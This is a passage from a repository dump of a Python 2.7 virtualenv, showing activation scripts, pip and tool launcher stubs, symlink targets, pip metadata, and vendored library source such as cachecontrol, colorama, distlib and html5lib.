17 | if ("" != "") then
18 | set env_name = ""
19 | else
20 | set env_name = `basename "$VIRTUAL_ENV"`
21 | endif
22 |
23 | # Could be in a non-interactive environment,
24 | # in which case, $prompt is undefined and we wouldn't
25 | # care about the prompt anyway.
26 | if ( $?prompt ) then
27 | set _OLD_VIRTUAL_PROMPT="$prompt"
28 | set prompt = "[$env_name] $prompt"
29 | endif
30 |
31 | unset env_name
32 |
33 | alias pydoc python -m pydoc
34 |
35 | rehash
36 |
37 |
--------------------------------------------------------------------------------
/venv/bin/activate_this.py:
--------------------------------------------------------------------------------
1 | """By using execfile(this_file, dict(__file__=this_file)) you will
2 | activate this virtualenv environment.
3 |
4 | This can be used when you must use an existing Python interpreter, not
5 | the virtualenv bin/python
6 | """
7 |
8 | try:
9 | __file__
10 | except NameError:
11 | raise AssertionError(
12 | "You must run this like execfile('path/to/activate_this.py', dict(__file__='path/to/activate_this.py'))")
13 | import sys
14 | import os
15 |
16 | old_os_path = os.environ.get('PATH', '')
17 | os.environ['PATH'] = os.path.dirname(os.path.abspath(__file__)) + os.pathsep + old_os_path
18 | base = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
19 | if sys.platform == 'win32':
20 | site_packages = os.path.join(base, 'Lib', 'site-packages')
21 | else:
22 | site_packages = os.path.join(base, 'lib', 'python%s' % sys.version[:3], 'site-packages')
23 | prev_sys_path = list(sys.path)
24 | import site
25 | site.addsitedir(site_packages)
26 | sys.real_prefix = sys.prefix
27 | sys.prefix = base
28 | # Move the added items to the front of the path:
29 | new_sys_path = []
30 | for item in list(sys.path):
31 | if item not in prev_sys_path:
32 | new_sys_path.append(item)
33 | sys.path.remove(item)
34 | sys.path[:0] = new_sys_path
35 |
--------------------------------------------------------------------------------
/venv/bin/easy_install:
--------------------------------------------------------------------------------
1 | #!/root/PycharmProjects/python_hacks/venv/bin/python2.7
2 |
3 | # -*- coding: utf-8 -*-
4 | import re
5 | import sys
6 |
7 | from setuptools.command.easy_install import main
8 |
9 | if __name__ == '__main__':
10 | sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
11 | sys.exit(main())
12 |
--------------------------------------------------------------------------------
/venv/bin/easy_install-2.7:
--------------------------------------------------------------------------------
1 | #!/root/PycharmProjects/python_hacks/venv/bin/python2.7
2 |
3 | # -*- coding: utf-8 -*-
4 | import re
5 | import sys
6 |
7 | from setuptools.command.easy_install import main
8 |
9 | if __name__ == '__main__':
10 | sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
11 | sys.exit(main())
12 |
--------------------------------------------------------------------------------
/venv/bin/pip:
--------------------------------------------------------------------------------
1 | #!/root/PycharmProjects/python_hacks/venv/bin/python2.7
2 |
3 | # -*- coding: utf-8 -*-
4 | import re
5 | import sys
6 |
7 | from pip import main
8 |
9 | if __name__ == '__main__':
10 | sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
11 | sys.exit(main())
12 |
--------------------------------------------------------------------------------
/venv/bin/pip2:
--------------------------------------------------------------------------------
1 | #!/root/PycharmProjects/python_hacks/venv/bin/python2.7
2 |
3 | # -*- coding: utf-8 -*-
4 | import re
5 | import sys
6 |
7 | from pip import main
8 |
9 | if __name__ == '__main__':
10 | sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
11 | sys.exit(main())
12 |
--------------------------------------------------------------------------------
/venv/bin/pip2.7:
--------------------------------------------------------------------------------
1 | #!/root/PycharmProjects/python_hacks/venv/bin/python2.7
2 |
3 | # -*- coding: utf-8 -*-
4 | import re
5 | import sys
6 |
7 | from pip import main
8 |
9 | if __name__ == '__main__':
10 | sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
11 | sys.exit(main())
12 |
--------------------------------------------------------------------------------
/venv/bin/python:
--------------------------------------------------------------------------------
1 | python2.7
--------------------------------------------------------------------------------
/venv/bin/python2:
--------------------------------------------------------------------------------
1 | python2.7
--------------------------------------------------------------------------------
/venv/bin/python2.7:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/muhammedessa/python_hacks/f87e75792ab740d04ef46bdfccb7292629f0248e/venv/bin/python2.7
--------------------------------------------------------------------------------
/venv/bin/scapy:
--------------------------------------------------------------------------------
1 | #!/root/PycharmProjects/python_hacks/venv/bin/python
2 |
3 | #############################################################################
4 | ## ##
5 | ## scapy.py --- Interactive packet manipulation tool ##
6 | ## see http://www.secdev.org/projects/scapy/ ##
7 | ## for more informations ##
8 | ## ##
9 | ## Copyright (C) Philippe Biondi ##
10 | ## ##
11 | ## This program is free software; you can redistribute it and/or modify it ##
12 | ## under the terms of the GNU General Public License version 2 as ##
13 | ## published by the Free Software Foundation. ##
14 | ## ##
15 | ## This program is distributed in the hope that it will be useful, but ##
16 | ## WITHOUT ANY WARRANTY; without even the implied warranty of ##
17 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ##
18 | ## General Public License for more details. ##
19 | ## ##
20 | #############################################################################
21 |
22 |
23 | from scapy.main import interact
24 |
25 | interact()
26 |
--------------------------------------------------------------------------------
/venv/bin/wheel:
--------------------------------------------------------------------------------
1 | #!/root/PycharmProjects/python_hacks/venv/bin/python2.7
2 |
3 | # -*- coding: utf-8 -*-
4 | import re
5 | import sys
6 |
7 | from wheel.tool import main
8 |
9 | if __name__ == '__main__':
10 | sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
11 | sys.exit(main())
12 |
--------------------------------------------------------------------------------
/venv/include/python2.7:
--------------------------------------------------------------------------------
1 | /usr/include/python2.7
--------------------------------------------------------------------------------
/venv/lib/python2.7/UserDict.py:
--------------------------------------------------------------------------------
1 | /usr/lib/python2.7/UserDict.py
--------------------------------------------------------------------------------
/venv/lib/python2.7/_abcoll.py:
--------------------------------------------------------------------------------
1 | /usr/lib/python2.7/_abcoll.py
--------------------------------------------------------------------------------
/venv/lib/python2.7/_weakrefset.py:
--------------------------------------------------------------------------------
1 | /usr/lib/python2.7/_weakrefset.py
--------------------------------------------------------------------------------
/venv/lib/python2.7/abc.py:
--------------------------------------------------------------------------------
1 | /usr/lib/python2.7/abc.py
--------------------------------------------------------------------------------
/venv/lib/python2.7/codecs.py:
--------------------------------------------------------------------------------
1 | /usr/lib/python2.7/codecs.py
--------------------------------------------------------------------------------
/venv/lib/python2.7/copy_reg.py:
--------------------------------------------------------------------------------
1 | /usr/lib/python2.7/copy_reg.py
--------------------------------------------------------------------------------
/venv/lib/python2.7/distutils/distutils.cfg:
--------------------------------------------------------------------------------
1 | # This is a config file local to this virtualenv installation
2 | # You may include options that will be used by all distutils commands,
3 | # and by easy_install. For instance:
4 | #
5 | # [easy_install]
6 | # find_links = http://mylocalsite
7 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/encodings:
--------------------------------------------------------------------------------
1 | /usr/lib/python2.7/encodings
--------------------------------------------------------------------------------
/venv/lib/python2.7/fnmatch.py:
--------------------------------------------------------------------------------
1 | /usr/lib/python2.7/fnmatch.py
--------------------------------------------------------------------------------
/venv/lib/python2.7/genericpath.py:
--------------------------------------------------------------------------------
1 | /usr/lib/python2.7/genericpath.py
--------------------------------------------------------------------------------
/venv/lib/python2.7/lib-dynload:
--------------------------------------------------------------------------------
1 | /usr/lib/python2.7/lib-dynload
--------------------------------------------------------------------------------
/venv/lib/python2.7/linecache.py:
--------------------------------------------------------------------------------
1 | /usr/lib/python2.7/linecache.py
--------------------------------------------------------------------------------
/venv/lib/python2.7/locale.py:
--------------------------------------------------------------------------------
1 | /usr/lib/python2.7/locale.py
--------------------------------------------------------------------------------
/venv/lib/python2.7/no-global-site-packages.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/muhammedessa/python_hacks/f87e75792ab740d04ef46bdfccb7292629f0248e/venv/lib/python2.7/no-global-site-packages.txt
--------------------------------------------------------------------------------
/venv/lib/python2.7/ntpath.py:
--------------------------------------------------------------------------------
1 | /usr/lib/python2.7/ntpath.py
--------------------------------------------------------------------------------
/venv/lib/python2.7/orig-prefix.txt:
--------------------------------------------------------------------------------
1 | /usr
--------------------------------------------------------------------------------
/venv/lib/python2.7/os.py:
--------------------------------------------------------------------------------
1 | /usr/lib/python2.7/os.py
--------------------------------------------------------------------------------
/venv/lib/python2.7/posixpath.py:
--------------------------------------------------------------------------------
1 | /usr/lib/python2.7/posixpath.py
--------------------------------------------------------------------------------
/venv/lib/python2.7/re.py:
--------------------------------------------------------------------------------
1 | /usr/lib/python2.7/re.py
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/easy_install.py:
--------------------------------------------------------------------------------
1 | """Run the EasyInstall command"""
2 |
3 | if __name__ == '__main__':
4 | from setuptools.command.easy_install import main
5 | main()
6 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip-9.0.1.dist-info/DESCRIPTION.rst:
--------------------------------------------------------------------------------
1 | pip
2 | ===
3 |
4 | The `PyPA recommended
5 | `_
6 | tool for installing Python packages.
7 |
8 | * `Installation `_
9 | * `Documentation `_
10 | * `Changelog `_
11 | * `Github Page `_
12 | * `Issue Tracking `_
13 | * `User mailing list `_
14 | * `Dev mailing list `_
15 | * User IRC: #pypa on Freenode.
16 | * Dev IRC: #pypa-dev on Freenode.
17 |
18 |
19 | .. image:: https://img.shields.io/pypi/v/pip.svg
20 | :target: https://pypi.python.org/pypi/pip
21 |
22 | .. image:: https://img.shields.io/travis/pypa/pip/master.svg
23 | :target: http://travis-ci.org/pypa/pip
24 |
25 | .. image:: https://img.shields.io/appveyor/ci/pypa/pip.svg
26 | :target: https://ci.appveyor.com/project/pypa/pip/history
27 |
28 | .. image:: https://readthedocs.org/projects/pip/badge/?version=stable
29 | :target: https://pip.pypa.io/en/stable
30 |
31 | Code of Conduct
32 | ---------------
33 |
34 | Everyone interacting in the pip project's codebases, issue trackers, chat
35 | rooms, and mailing lists is expected to follow the `PyPA Code of Conduct`_.
36 |
37 | .. _PyPA Code of Conduct: https://www.pypa.io/en/latest/code-of-conduct/
38 |
39 |
40 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip-9.0.1.dist-info/INSTALLER:
--------------------------------------------------------------------------------
1 | pip
2 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip-9.0.1.dist-info/WHEEL:
--------------------------------------------------------------------------------
1 | Wheel-Version: 1.0
2 | Generator: bdist_wheel (0.29.0)
3 | Root-Is-Purelib: true
4 | Tag: py2-none-any
5 | Tag: py3-none-any
6 |
7 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip-9.0.1.dist-info/entry_points.txt:
--------------------------------------------------------------------------------
1 | [console_scripts]
2 | pip = pip:main
3 | pip3 = pip:main
4 | pip3.5 = pip:main
5 |
6 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip-9.0.1.dist-info/metadata.json:
--------------------------------------------------------------------------------
1 | {"classifiers": ["Development Status :: 5 - Production/Stable", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", "Topic :: Software Development :: Build Tools", "Programming Language :: Python :: 2", "Programming Language :: Python :: 2.6", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", "Programming Language :: Python :: 3.5", "Programming Language :: Python :: Implementation :: PyPy"], "extensions": {"python.commands": {"wrap_console": {"pip": "pip:main", "pip3": "pip:main", "pip3.5": "pip:main"}}, "python.details": {"contacts": [{"email": "python-virtualenv@groups.google.com", "name": "The pip developers", "role": "author"}], "document_names": {"description": "DESCRIPTION.rst"}, "project_urls": {"Home": "https://pip.pypa.io/"}}, "python.exports": {"console_scripts": {"pip": "pip:main", "pip3": "pip:main", "pip3.5": "pip:main"}}}, "extras": ["testing"], "generator": "bdist_wheel (0.29.0)", "keywords": ["easy_install", "distutils", "setuptools", "egg", "virtualenv"], "license": "MIT", "metadata_version": "2.0", "name": "pip", "requires_python": ">=2.6,!=3.0.*,!=3.1.*,!=3.2.*", "run_requires": [{"extra": "testing", "requires": ["mock", "pretend", "pytest", "scripttest (>=1.3)", "virtualenv (>=1.10)"]}], "summary": "The PyPA recommended tool for installing Python packages.", "test_requires": [{"requires": ["mock", "pretend", "pytest", "scripttest (>=1.3)", "virtualenv (>=1.10)"]}], "version": "9.0.1"}
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip-9.0.1.dist-info/top_level.txt:
--------------------------------------------------------------------------------
1 | pip
2 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/__main__.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | import os
4 | import sys
5 |
6 | # If we are running from a wheel, add the wheel to sys.path
7 | # This allows the usage python pip-*.whl/pip install pip-*.whl
8 | if __package__ == '':
9 | # __file__ is pip-*.whl/pip/__main__.py
10 | # first dirname call strips of '/__main__.py', second strips off '/pip'
11 | # Resulting path is the name of the wheel itself
12 | # Add that to sys.path so we can import pip
13 | path = os.path.dirname(os.path.dirname(__file__))
14 | sys.path.insert(0, path)
15 |
16 | import pip # noqa
17 |
18 | if __name__ == '__main__':
19 | sys.exit(pip.main())
20 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/cachecontrol/__init__.py:
--------------------------------------------------------------------------------
1 | """CacheControl import Interface.
2 |
3 | Make it easy to import from cachecontrol without long namespaces.
4 | """
5 | __author__ = 'Eric Larson'
6 | __email__ = 'eric@ionrock.org'
7 | __version__ = '0.11.7'
8 |
9 | from .wrapper import CacheControl
10 | from .adapter import CacheControlAdapter
11 | from .controller import CacheController
12 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/cachecontrol/_cmd.py:
--------------------------------------------------------------------------------
1 | import logging
2 |
3 | from pip._vendor import requests
4 |
5 | from pip._vendor.cachecontrol.adapter import CacheControlAdapter
6 | from pip._vendor.cachecontrol.cache import DictCache
7 | from pip._vendor.cachecontrol.controller import logger
8 |
9 | from argparse import ArgumentParser
10 |
11 |
12 | def setup_logging():
13 | logger.setLevel(logging.DEBUG)
14 | handler = logging.StreamHandler()
15 | logger.addHandler(handler)
16 |
17 |
18 | def get_session():
19 | adapter = CacheControlAdapter(
20 | DictCache(),
21 | cache_etags=True,
22 | serializer=None,
23 | heuristic=None,
24 | )
25 | sess = requests.Session()
26 | sess.mount('http://', adapter)
27 | sess.mount('https://', adapter)
28 |
29 | sess.cache_controller = adapter.controller
30 | return sess
31 |
32 |
33 | def get_args():
34 | parser = ArgumentParser()
35 | parser.add_argument('url', help='The URL to try and cache')
36 | return parser.parse_args()
37 |
38 |
39 | def main(args=None):
40 | args = get_args()
41 | sess = get_session()
42 |
43 | # Make a request to get a response
44 | resp = sess.get(args.url)
45 |
46 | # Turn on logging
47 | setup_logging()
48 |
49 | # try setting the cache
50 | sess.cache_controller.cache_response(resp.request, resp.raw)
51 |
52 | # Now try to get it
53 | if sess.cache_controller.cached_request(resp.request):
54 | print('Cached!')
55 | else:
56 | print('Not cached :(')
57 |
58 |
59 | if __name__ == '__main__':
60 | main()
61 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/cachecontrol/cache.py:
--------------------------------------------------------------------------------
1 | """
2 | The cache object API for implementing caches. The default is a thread
3 | safe in-memory dictionary.
4 | """
5 | from threading import Lock
6 |
7 |
8 | class BaseCache(object):
9 |
10 | def get(self, key):
11 | raise NotImplemented()
12 |
13 | def set(self, key, value):
14 | raise NotImplemented()
15 |
16 | def delete(self, key):
17 | raise NotImplemented()
18 |
19 | def close(self):
20 | pass
21 |
22 |
23 | class DictCache(BaseCache):
24 |
25 | def __init__(self, init_dict=None):
26 | self.lock = Lock()
27 | self.data = init_dict or {}
28 |
29 | def get(self, key):
30 | return self.data.get(key, None)
31 |
32 | def set(self, key, value):
33 | with self.lock:
34 | self.data.update({key: value})
35 |
36 | def delete(self, key):
37 | with self.lock:
38 | if key in self.data:
39 | self.data.pop(key)
40 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/cachecontrol/caches/__init__.py:
--------------------------------------------------------------------------------
1 | from textwrap import dedent
2 |
3 | try:
4 | from .file_cache import FileCache
5 | except ImportError:
6 | notice = dedent('''
7 | NOTE: In order to use the FileCache you must have
8 | lockfile installed. You can install it via pip:
9 | pip install lockfile
10 | ''')
11 | print(notice)
12 |
13 |
14 | try:
15 | import redis
16 | from .redis_cache import RedisCache
17 | except ImportError:
18 | pass
19 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/cachecontrol/caches/redis_cache.py:
--------------------------------------------------------------------------------
1 | from __future__ import division
2 |
3 | from datetime import datetime
4 |
5 |
6 | def total_seconds(td):
7 | """Python 2.6 compatability"""
8 | if hasattr(td, 'total_seconds'):
9 | return td.total_seconds()
10 |
11 | ms = td.microseconds
12 | secs = (td.seconds + td.days * 24 * 3600)
13 | return (ms + secs * 10**6) / 10**6
14 |
15 |
16 | class RedisCache(object):
17 |
18 | def __init__(self, conn):
19 | self.conn = conn
20 |
21 | def get(self, key):
22 | return self.conn.get(key)
23 |
24 | def set(self, key, value, expires=None):
25 | if not expires:
26 | self.conn.set(key, value)
27 | else:
28 | expires = expires - datetime.now()
29 | self.conn.setex(key, total_seconds(expires), value)
30 |
31 | def delete(self, key):
32 | self.conn.delete(key)
33 |
34 | def clear(self):
35 | """Helper for clearing all the keys in a database. Use with
36 | caution!"""
37 | for key in self.conn.keys():
38 | self.conn.delete(key)
39 |
40 | def close(self):
41 | self.conn.disconnect()
42 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/cachecontrol/compat.py:
--------------------------------------------------------------------------------
1 | try:
2 | from urllib.parse import urljoin
3 | except ImportError:
4 | from urlparse import urljoin
5 |
6 |
7 | try:
8 | import cPickle as pickle
9 | except ImportError:
10 | import pickle
11 |
12 |
13 | from pip._vendor.requests.packages.urllib3.response import HTTPResponse
14 | from pip._vendor.requests.packages.urllib3.util import is_fp_closed
15 |
16 | # Replicate some six behaviour
17 | try:
18 | text_type = (unicode,)
19 | except NameError:
20 | text_type = (str,)
21 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/cachecontrol/wrapper.py:
--------------------------------------------------------------------------------
1 | from .adapter import CacheControlAdapter
2 | from .cache import DictCache
3 |
4 |
5 | def CacheControl(sess,
6 | cache=None,
7 | cache_etags=True,
8 | serializer=None,
9 | heuristic=None):
10 |
11 | cache = cache or DictCache()
12 | adapter = CacheControlAdapter(
13 | cache,
14 | cache_etags=cache_etags,
15 | serializer=serializer,
16 | heuristic=heuristic,
17 | )
18 | sess.mount('http://', adapter)
19 | sess.mount('https://', adapter)
20 |
21 | return sess
22 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/colorama/__init__.py:
--------------------------------------------------------------------------------
1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
2 | from .initialise import init, deinit, reinit, colorama_text
3 | from .ansi import Fore, Back, Style, Cursor
4 | from .ansitowin32 import AnsiToWin32
5 |
6 | __version__ = '0.3.7'
7 |
8 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/colorama/initialise.py:
--------------------------------------------------------------------------------
1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
2 | import atexit
3 | import contextlib
4 | import sys
5 |
6 | from .ansitowin32 import AnsiToWin32
7 |
8 |
9 | orig_stdout = None
10 | orig_stderr = None
11 |
12 | wrapped_stdout = None
13 | wrapped_stderr = None
14 |
15 | atexit_done = False
16 |
17 |
18 | def reset_all():
19 | if AnsiToWin32 is not None: # Issue #74: objects might become None at exit
20 | AnsiToWin32(orig_stdout).reset_all()
21 |
22 |
23 | def init(autoreset=False, convert=None, strip=None, wrap=True):
24 |
25 | if not wrap and any([autoreset, convert, strip]):
26 | raise ValueError('wrap=False conflicts with any other arg=True')
27 |
28 | global wrapped_stdout, wrapped_stderr
29 | global orig_stdout, orig_stderr
30 |
31 | orig_stdout = sys.stdout
32 | orig_stderr = sys.stderr
33 |
34 | if sys.stdout is None:
35 | wrapped_stdout = None
36 | else:
37 | sys.stdout = wrapped_stdout = \
38 | wrap_stream(orig_stdout, convert, strip, autoreset, wrap)
39 | if sys.stderr is None:
40 | wrapped_stderr = None
41 | else:
42 | sys.stderr = wrapped_stderr = \
43 | wrap_stream(orig_stderr, convert, strip, autoreset, wrap)
44 |
45 | global atexit_done
46 | if not atexit_done:
47 | atexit.register(reset_all)
48 | atexit_done = True
49 |
50 |
51 | def deinit():
52 | if orig_stdout is not None:
53 | sys.stdout = orig_stdout
54 | if orig_stderr is not None:
55 | sys.stderr = orig_stderr
56 |
57 |
58 | @contextlib.contextmanager
59 | def colorama_text(*args, **kwargs):
60 | init(*args, **kwargs)
61 | try:
62 | yield
63 | finally:
64 | deinit()
65 |
66 |
67 | def reinit():
68 | if wrapped_stdout is not None:
69 | sys.stdout = wrapped_stdout
70 | if wrapped_stderr is not None:
71 | sys.stderr = wrapped_stderr
72 |
73 |
74 | def wrap_stream(stream, convert, strip, autoreset, wrap):
75 | if wrap:
76 | wrapper = AnsiToWin32(stream,
77 | convert=convert, strip=strip, autoreset=autoreset)
78 | if wrapper.should_wrap():
79 | stream = wrapper.stream
80 | return stream
81 |
82 |
83 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/distlib/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | #
3 | # Copyright (C) 2012-2016 Vinay Sajip.
4 | # Licensed to the Python Software Foundation under a contributor agreement.
5 | # See LICENSE.txt and CONTRIBUTORS.txt.
6 | #
7 | import logging
8 |
9 | __version__ = '0.2.4'
10 |
11 | class DistlibException(Exception):
12 | pass
13 |
14 | try:
15 | from logging import NullHandler
16 | except ImportError: # pragma: no cover
17 | class NullHandler(logging.Handler):
18 | def handle(self, record): pass
19 | def emit(self, record): pass
20 | def createLock(self): self.lock = None
21 |
22 | logger = logging.getLogger(__name__)
23 | logger.addHandler(NullHandler())
24 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/distlib/_backport/__init__.py:
--------------------------------------------------------------------------------
1 | """Modules copied from Python 3 standard libraries, for internal use only.
2 |
3 | Individual classes and functions are found in d2._backport.misc. Intended
4 | usage is to always import things missing from 3.1 from that module: the
5 | built-in/stdlib objects will be used if found.
6 | """
7 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/distlib/_backport/misc.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | #
3 | # Copyright (C) 2012 The Python Software Foundation.
4 | # See LICENSE.txt and CONTRIBUTORS.txt.
5 | #
6 | """Backports for individual classes and functions."""
7 |
8 | import os
9 | import sys
10 |
11 | __all__ = ['cache_from_source', 'callable', 'fsencode']
12 |
13 |
14 | try:
15 | from imp import cache_from_source
16 | except ImportError:
17 | def cache_from_source(py_file, debug=__debug__):
18 | ext = debug and 'c' or 'o'
19 | return py_file + ext
20 |
21 |
22 | try:
23 | callable = callable
24 | except NameError:
25 | from collections import Callable
26 |
27 | def callable(obj):
28 | return isinstance(obj, Callable)
29 |
30 |
31 | try:
32 | fsencode = os.fsencode
33 | except AttributeError:
34 | def fsencode(filename):
35 | if isinstance(filename, bytes):
36 | return filename
37 | elif isinstance(filename, str):
38 | return filename.encode(sys.getfilesystemencoding())
39 | else:
40 | raise TypeError("expect bytes or str, not %s" %
41 | type(filename).__name__)
42 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/distlib/t32.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/muhammedessa/python_hacks/f87e75792ab740d04ef46bdfccb7292629f0248e/venv/lib/python2.7/site-packages/pip/_vendor/distlib/t32.exe
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/distlib/t64.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/muhammedessa/python_hacks/f87e75792ab740d04ef46bdfccb7292629f0248e/venv/lib/python2.7/site-packages/pip/_vendor/distlib/t64.exe
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/distlib/w32.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/muhammedessa/python_hacks/f87e75792ab740d04ef46bdfccb7292629f0248e/venv/lib/python2.7/site-packages/pip/_vendor/distlib/w32.exe
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/distlib/w64.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/muhammedessa/python_hacks/f87e75792ab740d04ef46bdfccb7292629f0248e/venv/lib/python2.7/site-packages/pip/_vendor/distlib/w64.exe
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/html5lib/__init__.py:
--------------------------------------------------------------------------------
1 | """
2 | HTML parsing library based on the WHATWG "HTML5"
3 | specification. The parser is designed to be compatible with existing
4 | HTML found in the wild and implements well-defined error recovery that
5 | is largely compatible with modern desktop web browsers.
6 |
7 | Example usage:
8 |
9 | import html5lib
10 | f = open("my_document.html")
11 | tree = html5lib.parse(f)
12 | """
13 |
14 | from __future__ import absolute_import, division, unicode_literals
15 |
16 | from .html5parser import HTMLParser, parse, parseFragment
17 | from .treebuilders import getTreeBuilder
18 | from .treewalkers import getTreeWalker
19 | from .serializer import serialize
20 |
21 | __all__ = ["HTMLParser", "parse", "parseFragment", "getTreeBuilder",
22 | "getTreeWalker", "serialize"]
23 |
24 | # this has to be at the top level, see how setup.py parses this
25 | __version__ = "1.0b10"
26 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/html5lib/_trie/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import, division, unicode_literals
2 |
3 | from .py import Trie as PyTrie
4 |
5 | Trie = PyTrie
6 |
7 | # pylint:disable=wrong-import-position
8 | try:
9 | from .datrie import Trie as DATrie
10 | except ImportError:
11 | pass
12 | else:
13 | Trie = DATrie
14 | # pylint:enable=wrong-import-position
15 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/html5lib/_trie/_base.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import, division, unicode_literals
2 |
3 | from collections import Mapping
4 |
5 |
6 | class Trie(Mapping):
7 | """Abstract base class for tries"""
8 |
9 | def keys(self, prefix=None):
10 | # pylint:disable=arguments-differ
11 | keys = super(Trie, self).keys()
12 |
13 | if prefix is None:
14 | return set(keys)
15 |
16 | # Python 2.6: no set comprehensions
17 | return set([x for x in keys if x.startswith(prefix)])
18 |
19 | def has_keys_with_prefix(self, prefix):
20 | for key in self.keys():
21 | if key.startswith(prefix):
22 | return True
23 |
24 | return False
25 |
26 | def longest_prefix(self, prefix):
27 | if prefix in self:
28 | return prefix
29 |
30 | for i in range(1, len(prefix) + 1):
31 | if prefix[:-i] in self:
32 | return prefix[:-i]
33 |
34 | raise KeyError(prefix)
35 |
36 | def longest_prefix_item(self, prefix):
37 | lprefix = self.longest_prefix(prefix)
38 | return (lprefix, self[lprefix])
39 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/html5lib/_trie/datrie.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import, division, unicode_literals
2 |
3 | from datrie import Trie as DATrie
4 | from pip._vendor.six import text_type
5 |
6 | from ._base import Trie as ABCTrie
7 |
8 |
9 | class Trie(ABCTrie):
10 | def __init__(self, data):
11 | chars = set()
12 | for key in data.keys():
13 | if not isinstance(key, text_type):
14 | raise TypeError("All keys must be strings")
15 | for char in key:
16 | chars.add(char)
17 |
18 | self._data = DATrie("".join(chars))
19 | for key, value in data.items():
20 | self._data[key] = value
21 |
22 | def __contains__(self, key):
23 | return key in self._data
24 |
25 | def __len__(self):
26 | return len(self._data)
27 |
28 | def __iter__(self):
29 | raise NotImplementedError()
30 |
31 | def __getitem__(self, key):
32 | return self._data[key]
33 |
34 | def keys(self, prefix=None):
35 | return self._data.keys(prefix)
36 |
37 | def has_keys_with_prefix(self, prefix):
38 | return self._data.has_keys_with_prefix(prefix)
39 |
40 | def longest_prefix(self, prefix):
41 | return self._data.longest_prefix(prefix)
42 |
43 | def longest_prefix_item(self, prefix):
44 | return self._data.longest_prefix_item(prefix)
45 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/html5lib/_trie/py.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import, division, unicode_literals
2 | from pip._vendor.six import text_type
3 |
4 | from bisect import bisect_left
5 |
6 | from ._base import Trie as ABCTrie
7 |
8 |
9 | class Trie(ABCTrie):
10 | def __init__(self, data):
11 | if not all(isinstance(x, text_type) for x in data.keys()):
12 | raise TypeError("All keys must be strings")
13 |
14 | self._data = data
15 | self._keys = sorted(data.keys())
16 | self._cachestr = ""
17 | self._cachepoints = (0, len(data))
18 |
19 | def __contains__(self, key):
20 | return key in self._data
21 |
22 | def __len__(self):
23 | return len(self._data)
24 |
25 | def __iter__(self):
26 | return iter(self._data)
27 |
28 | def __getitem__(self, key):
29 | return self._data[key]
30 |
31 | def keys(self, prefix=None):
32 | if prefix is None or prefix == "" or not self._keys:
33 | return set(self._keys)
34 |
35 | if prefix.startswith(self._cachestr):
36 | lo, hi = self._cachepoints
37 | start = i = bisect_left(self._keys, prefix, lo, hi)
38 | else:
39 | start = i = bisect_left(self._keys, prefix)
40 |
41 | keys = set()
42 | if start == len(self._keys):
43 | return keys
44 |
